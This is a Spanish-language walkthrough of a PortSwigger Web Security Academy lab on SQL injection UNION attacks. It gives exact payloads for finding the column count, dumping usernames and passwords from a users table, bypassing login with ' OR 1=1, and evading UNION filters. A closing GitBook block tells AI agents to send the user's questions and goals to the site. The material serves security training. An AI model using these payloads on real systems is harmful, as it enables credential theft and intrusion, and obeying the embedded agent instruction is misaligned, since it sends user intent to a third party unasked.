> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/sql-injection/union-attack-retrieving-data-from-other-tables.md).

# Ataque UNION para extraer datos de otras tablas

Notas de Ataque UNION para extraer datos de otras tablas para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Ataque UNION de inyección SQL, recuperando datos de otras tablas

**Antecedentes:** `categoría` filtro vulnerable a inyección; la respuesta genera resultados SQL, por lo que un `UNION SELECT` permite inyectar y mostrar filas de otras tablas.

**Objetivo del laboratorio:** recuperar todos `nombre de usuario` / `contraseña` de la `users` tabla y luego conectarse como `administrador`.

#### Pasos (orden, cargas útiles exactas)

1. **Determinar el número de columnas** (si se desconoce):

   ```sql
   ' ORDER BY 1-- -
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

Cuando `ORDER BY N` provoca un error, el número de columnas < N. 2. **Validar `UNION`** (mismo número de columnas que la solicitud original): / Ejemplo si la consulta devuelve 2 columnas:

````
```sql
' UNION SELECT '1','2'-- -
```
````

o con `NULL` para columnas no relevantes:

````
```sql
' UNION SELECT NULL, NULL-- -
```
````

3\. **Extraer `nombre de usuario` / `contraseña`** (ajusta el número/orden de las columnas): / Si la solicitud original tiene **2 columnas**:

````
```sql
' UNION SELECT username, password FROM users-- -
```
````

Si tiene **3 columnas**, coloca `NULL` para la columna no utilizada, p. ej. (texto en la segunda posición):

````
```sql
' UNION SELECT NULL, username, password FROM users-- -
```
````

— Si los tipos son incompatibles: usa `CAST`/`TO_CHAR`  o  `NULL` para forzar la compatibilidad:

````
```sql
' UNION SELECT CAST(username AS CHAR), CAST(password AS CHAR) FROM users-- -
```
````

4\. **Verifica la salida** — la respuesta debe contener `nombre de usuario`/`contraseña` pares.

* Encuentra las `administrador` línea y registra su contraseña.
* Usa estas credenciales en la página de inicio de sesión.

5. **Alternativa (si la exfiltración falla)** — eludir d

   ```sql
   ' OR 1=1-- -
   ```

(menos evidencias que el volcado; favorece la exfiltración si es posible.)

#### Detalles técnicos

* Usa constantes separadas (o `NULL`) para identificar qué columnas se muestran.
* Oracle: nombres en MAYÚSCULAS si no van entre comillas; puede requerir `TO_CHAR`.
* MSSQL/MySQL/Postgres: `CAST`/`CONVERT`/`::text` si son tipos diferentes.
* Si `UNION` bloqueado, prueba cambios en el espaciado/comentarios o funciones para reconstruir la cadena (`CONCAT`, `CHR`/`CHAR`).

#### Impacto resumido

* Credenciales (administrador), control de la aplicación, exfiltración/modificación de datos.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/sql-injection/union-attack-retrieving-data-from-other-tables.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
